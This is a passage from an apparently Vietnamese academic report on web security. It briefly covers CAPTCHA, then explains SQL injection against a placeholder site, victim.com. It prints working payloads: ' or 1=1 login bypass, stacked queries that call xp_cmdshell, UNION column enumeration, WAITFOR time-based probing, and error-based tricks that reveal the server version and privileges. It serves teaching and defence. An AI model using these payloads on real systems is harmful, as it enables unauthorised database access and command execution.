Trang 26+ Online polls CAPCHA có thể là một cách hiệu quả để ngăn ngừanhững người làm lệch kết quả của các bản thăm dò bằng cách viết ra mộtchương trình mà chương trình này sẽ không trả lời lại các cuộc thăm dò.CAPCHA là một loại HIP (Human Interactive Proof) cái mà được sử dụng đểxác định xem các thực thể ở bên kia là một máy tính hay là một con người,phương thức này người ta gọi là RTT (reverse tuning test) Điều khác vớiCAPCHA đó là nó hòan toàn tự động và làm cho nó tương thích với các ứngdụng web Loại CAPCHA cơ bản thường là dựa trên một đoạn text hay mộtđoạn hình ảnh Các hình ảnh sau đây mô tả việc thực hiện CAPCHA.
Hình 3.3: Gimpy-r CAPCHA
Hình 3.4: CAPCHA sử dụng trong đăng kí tài khoản Hotmail.
Trang 27Hình 3.6: Nhận biết kiểu CAPCHA (hình ảnh và text)
CHƯƠNG IV: TẤN CÔNG DATASTORE
4.1 Attacking Web Datastores
Ứng dựng web ngày một trở nên phổ biến và phát triển phức tạp Rất nhiều ứngdụng trên internet sử dụng ứng dụng web và đặc biệt là e-commerce Cùng vơi đó, sựtồn tại của những hệ thống lưu trữ các dữ liệu nhạy cảm online cũng như việc xử lý dữ
Trang 28liệu của nó luôn trở thành đích nhắm của hacker sử dụng ứng dụng web như một kỹthuật để sửa đổi và thâm nhập các dữ liệu đó
SQL injection là một kiểu tấn công mà mã SQL được chèn hoặc thêm vào cáctrường input của ứng dụng, từ đó các code này sẽ đến SQL server và được thực thinhư một lệnh hợp lệ Một vài hàm,thủ tục của SQL có thể trở thành điểm yếu để lợidụng để tiến hành SQL injection Một tấn công SQL thông thường được thực hiệnthông qua việc chèn trực tiếp vào code với các lệnh SQL và được thực thi, một số tấncông SQL injection khác chèn trực tiếp code vào chuỗi được lưu trong table như một
dữ liệu chính thống và được thực thi như một Dynamic SQL Khi ứng dụng Web mắclỗi thì nó trở thành một công cụ để tạo ra một truy vấn SQL cho một attacker sử dụng.4.1.1 Vì sao lại xảy ra SQL injectoin
Để hình dung SQl injection xảy ra như thế nào, hãy xem xét đường link dướiđây Đường link này sẽ hiển thị tất cả các sản phẩm có giá ít hơn 100$
- http://www.victim.com/products.php?val=100
Tuy nhiên, attacker có thể chèn vào câu lệnh SQL bằng cách thêm vào phầninput tại ứng dụng web với nội dung như sau "' or 1=1" Lúc này, câu truy cấn SQl màPHP xây dựng lên và thực thi sẽ trả về tất cả các sản phẩm mà không quan tâm đến giácủa nó, bời vì link đã trở thành như sau:
Trang 29SELECT userid
FROM CMSUsers
WHERE user = 'foo' AND password = 'password' OR '1'='1';
Phần where trong truy vấn lúc này luôn trả về giá trị True do dùng từ khóa or và phép
so sánh luôn đúng 1=1, do đó, với bất kỳ password nào ta cũng có thể đăng nhập bởilệnh sql luôn đúng Vậy nếu attacker sử dụng tài khoản admin thì attacker không cầnpass của admin vẫn có thể truy cập vào đc admin site
4.1.2 Các phương pháp thực hiện SQL injection
Khai thác SQL injection có thể qua nhiều cách, nhiều kịch bản và nhiều tác dộng nhưnâng quyền, thu nhập bất hợp pháp, sữa chữa Database, hay thực hiện câu lệnh trênDatabase
- Sử dụng Stacked Queris
Một trong những điểm yếu được khai thác là sử dụng Stack Queries (nhiều câulệnh được thực hiện chỉ trong một kết)
vd: http://www.victim.com/products.asp?id=1;exec+master xp_cmdshell+'dir'Đường link trên sẽ gọi hàm xp_cmpshell, hàm này cho phép thực hiện các lệnhconsole từ Database server như là từ comandline của windows Thật không mayMicrosoft SQL server cho phép Stacked Queris khi nó đc truy cập bởiASP.Net,PHP từ đó attacker có thể chạy nhiều câu lệnh trên server chỉ từ 1 đườnglink truy vấn
- Banner Gabbing:
Bắt nguồn từ ý tưởng người sử dụng cuối nhận được các thông báo lỗi bao gồmđẩy đủ chi tiết về lỗi xảy ra Thông báo này tùy thuộc vào hệ cơ sở dữ liệu đang chạytrên server đó như MS SQL, Oracle, My SQL, MS Access Ví dụ nếu thêm vào truyvấn hợp lệ một dấu nháy đơn đối với MS SQL thì ta sẽ nhận được lỗi sau đây
Trang 30- Sử dụng dấu nháy đơn
Thông báo này có vẻ vô dụng nhưng đối với 1 attacker thì họ có thể thông quathông báo này xác định được server đó đang chạy MS SQL Trong một số trường hợp,nếu server chạy MySQL, người dùng sẽ nhận được thông báo như sau:
Thông báo lỗi nháy đơn trên MySQL
Hoặc với Oracle :
Thông báo lỗi nháy đơn trên Oracle
Sau đây là ví dụ về thông điệp báo lỗi trên một số CSDL khác nhau
ODBC, ASP Microsoft OLE DB Provider for odbc Drivers error
'80040e21'ODBC, C# [Microsoft][ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark.NET Stack Trace: [SqlException (0x80131904):
Oracle, JDBC SQLException: ORA-01722: invalid number
ColdFusion Invalid data for CFSQLTYPE
MySQL, PHP Warning: mysql_errno(): supplied argument is not a valid
MySQLPostgreSQL, Perl Warning: PostgreSQL query failed:
Trang 31Thông báo lỗi còn cho phép attacker tìm kiến sâu hơn về server như version của SQL,tên server, hệ điều hành đang chạy.
Ví dụ: http://www.victim.com/products.asp?id=@@version
Bằng việc đưa một hàm định nghĩa sẵn của SQL là @@version, sẽ trả về phiên bảncủa SQL đang chạy trên server đồng thời cả hệ điều hành hay một số thông tin khác :
Khai thác @@version
Ngoài ra attacker có thể dùng một số hàm có sẵn nữa như :
@@servername : tên server
@@language : tên ngôn ngữ đang được sử dụng
@@spid: Process ID của user hiện tại
- Sử dụng truy vấn UNION
Với kỹ thuật này, attacker phải hiểu biết rõ về quá trình DBMS xử lý với truy vấn đó.Union là một trong những từ khóa hữu hiệu nhất để khai thác thông tin từ Databasethông qua truy vấn SELECT, nó sẽ kết hợp kết quả của 2 truy vấn SELECT
Ví dụ:
SELECT column-1,column-2,…,column-N FROM table-1
UNION
SELECT column-1,column-2,…,column-N FROM table-2
Do việc không biết được cấu trúc của table nên cái khó nhất của attacker trong việctấn công bằng UNION là phải xác định được chính xác thứ tự columns chứa thông tincần tìm kiếm Có 2 phương thức chính để tìm ra số thứ tự chính xác của columns: Đầu tiên là truy vấn nhiều lần kết hợp tăng số của column lên cho đến khi nào thànhcông Hầu hết với các DBMS bạn có thể chèn giá trị NULL vào mỗi column bởi vì giátrị NULL có thể chuyển đổi thành nhiều loại giá trị khác, theo đó ta có thể khai thácnhiều loại dữ liệu trong các column ta chưa biết thuộc giá trị nào Ví dụ để tìm chính
Trang 32xác số columns được xử lý bởi products.asp, ta có thể request URLs sau cho đến khikhông có lỗi xảy ra
UNION còn được dùng để xác định kiểu dữ liệu của column để từ đó khai thác cácthông tin từ Server Một trường hợp cụ thể, nếu ta đã xác minh table đang truy vấn có
4 cột, để tìm xem cột nào sử dụng kiêu string để lưu trữ, ta sử dụng các truy vấn sau:
http://www.victim.com/products.asp?
Trang 33Kết quả trả về sẽ có dạng sau:
System_user
4.2 Sử dụng truy vấn so sánh
4.2.1 Dựa vào thời gian
Nguy cơ đầu tiên có thể dẫn tới điểm yếu khai thác SQL injection là sử dụng truy vấndựa trên các thời gian khác nhau và ứng dụng web trả về, dựa trên các giá trị trả về sẽthu thập được các thông tin cần thiết Đối với SQL server, vấn đề quan trọng cần tìmhiểu là quyền thực thi của SQL có phải là quyền Sysmtem administrator (sa) không,điều này rất quan trong, bởi vì dựa trên đặc quyền này attacker có thể thực hiện nhiềutác vụ khác nhau trên hệ thống
Giả sử dùng truy vấn sau:
http://www.victim.com/products.asp?id=12;if+(system_user='sa')
+WAITFOR+DELAY+'0:0:5' system_user là một hàm T-SQL trả về tên login hiện tại, câu truy vấn trên sẽ dựa vàogiá trị của system_user để thực hiện WAITFOR Do đó, bằng việc tính toán thời gianserver trả lại trang HTML, attacker có thể xác định phân quyền đang chạy trên hệthống Nếu trường hợp đang chạy quyền system_administrator thì attacker có thể lợidụng quyền này để chạy xp_cmdshell để thực hiện các lệnh console trên server, điềunày là vô cùng nguy hiểm
4.2.2 Dựa vào giá trị truy vấn
Trang 34Trong một vài trường hợp, việc dựa vào thời gian sẽ không mang lại kết quả khôngchinh xác do các tác động như CPU, đường truyền Thay vào đó, attacker có thể dựatrên lỗi trả về để xác định các thông tin cần thiết Xét một truy vấn sau:
http://www.victim.com/products.asp?id=12/is_srvrolemember('sysadmin'
is_srvrolemember( ) là một hàm của TSQl trả về giá trị sau :
■ 1 nếu user đó thuộc nhóm
■ 0 nếu user đó không thuộc nhóm
■ NULL nếu nhóm không tồn tạiTruy vấn trên sẽ trả về ID 12 nếu user hiện tại là sysadmin (12=12/1) tức là trả vềtrang hiện thời, nếu user không thuộc nhóm sysadmin ID sẽ trả về lỗi do 12/0 mắc lỗi
"division to zero" như hình sau:
Sysadmin
Ta cũng có thể dễ dàng mở rộng truy vấn tùy theo mục đích bằng hàm CASE như sau:
http://www.victim.com/products.asp?id=12/(case+when+(system_user='sa')
+then+1+else+0+end)
4.2.3 Sử dụng thông báo lỗi với truy vấn SQL
Trong một vài trường hợp, các thông báo lỗi vô tình bao gồm các thông tin màAttacker muốn nhận được Giả sử không cần các cách khai thác như trên, ta vẫn có thểbiết được thông tin về server bằng cách chèn "@@version" vào biến không phải kiểunvchar và từ đấy SQL sẽ thông báo lỗi Ví dụ:
http://www.victim.com/products.asp?id=system_user
sẽ trả về
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
Trang 35[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when
converting the nvarchar value 'appdbuser' to data type int
/products.asp, line 33
Bời vì giá trị ID được định nghĩa là number nhưng system_user lại là giá trị nvarchar,
do đó SQL server trả về thông báo lỗi và đương nhiên giá trị 'appbusser' chính là têncủa user được công bố trong thông báo lỗi
Một cách khác để xác định phân cấp của người dùng thông qua thông báo lỗi như sau:
http://www.victim.com/products.asp?id=char(65%2Bis_srvrolemember('sysadmin'))
Trong truy vấn trên, số 65 là một giá trị thập phân trong bảng mã ASCII, sẽ trả về giátrị A theo bảng mã ASCII và %2B trả về "+" theo unicode Nếu user hiện tại khôngthuộc về nhóm sysadmin thì hàm is_srvrolemember sẽ trả về giá trị 0, và char(65+0)trả về ký tự A Mặt khác, nếu nếu user là đặc quyền administrators, is_srvrolemember
sẽ trả về 1, và char(66) sẽ trả về gia trị B Do đó, thông báo lỗi sẽ có dạng sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed whenconverting the nvarchar value 'B' to data type int
/products.asp, line 33
Một phương pháp khác cho phép attacker khai thác tên của columns thông qua lỗi trả
về là sử dụng từ khóa GROUP BY để để khai thác giá trị trả về từ SELECT
http://www.victim.com/products.asp?id=1+having+1=1
SQL server sẽ trả về thông báo lỗi như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'166
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.id' is invalid inthe select list because it is not contained in either an aggregate function or the GROUP